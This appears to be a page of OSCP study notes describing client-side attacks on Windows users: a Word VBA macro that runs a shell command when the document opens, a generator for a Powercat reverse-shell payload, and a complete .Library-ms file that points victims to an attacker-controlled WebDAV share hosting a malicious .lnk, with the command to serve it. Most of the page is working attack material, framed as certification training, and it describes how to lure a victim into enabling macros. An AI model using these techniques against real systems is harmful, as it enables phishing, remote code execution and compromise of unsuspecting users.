> For the complete documentation index, see [llms.txt](https://dudisamarel.gitbook.io/oscp-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://dudisamarel.gitbook.io/oscp-notes/windows/client-side.md). # Client Side ## Exploiting Microsoft Office Steps to reproduce the doc macros attack using vba script 1. Create new file using **Microsoft Word**. 2. Create a new macro - View > Macros:
3. Give the macro name > Select **Macros in document** > Click on Create:
4. Write the Macro script within the payload: ```vba Sub AutoOpen() MyMacro End Sub Sub Document_Open() MyMacro End Sub Sub MyMacro() Dim Str As String Str = CreateObject("Wscript.Shell").Run Str End Sub ``` 5. Save the file in **doc\docm** format which considered less secured, so the victim will just need to press **enable** to initiate the macros . *** I've created useful python script which generates the VBA script content with Powercat Revshell payload given Local Host and Port: ```python python3 vba-powercat-revshell.py ``` {% embed url="" %} ## Exploiting Windows Library Files Libraries are virtual containers for users' content. This attack leverage **.Library-ms** file which will connect to attacker controlled WebDAV and be sent to a victim. Once the victim opens the file, he will think the WebDAV is a local windows folder. Then in the next stage the victim will click a malicious **.lnk** file using the WebDAV. *** First creating the **.Library-ms** file: 
<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
<name>@windows.storage.dll,-34582</name>
<version>6</version>
<isLibraryPinned>true</isLibraryPinned>
<iconReference>imageres.dll,-1003</iconReference>
<templateInfo>
<folderType>{7d49d726-3c21-4f05-99aa-fdc2c9474656}</folderType>
</templateInfo>
<searchConnectorDescriptionList>
<searchConnectorDescription>
<isDefaultSaveLocation>true</isDefaultSaveLocation>
<isSupported>false</isSupported>
<simpleLocation>
<url>http://webdav_address</url>
</simpleLocation>
</searchConnectorDescription>
</searchConnectorDescriptionList>
</libraryDescription>
* **``**: This is the root element that defines the overall structure of a Windows library configuration. * **``**: Refers to a string identifier for the library. * **``**: Specifies the version of the library schema. * **``**: Indicates whether the library is pinned in the user's navigation pane. * **``**: Points to the resource for the icon associated with the library. * **``**: Contains metadata about the library's folder type template. * **``**: Defines the folder type or classification of the library using a GUID, which influences its behavior and appearance. These tag determine the columns and details that appear in Windows Explorer. * **``**: A wrapper for a collection of search remote connectors that the library can use. * **``**: Defines individual search connectors, specifying details like save location and support status. * **``**: Indicates whether this search connector is the default location for saving files, set to true here. * **``**: used for compatibility. * **``**: Specifies the search connector’s location in a simplified format. * **``**: Points to the URL of the **attacker's WebDAV server**. Serving the WebDAV Server including malicious files such `.lnk` file that runs PowerShell. ```bash wsgidav --host=0.0.0.0 --port=80 --auth=anonymous --root ``` ## References {% embed url="" %} [^1]: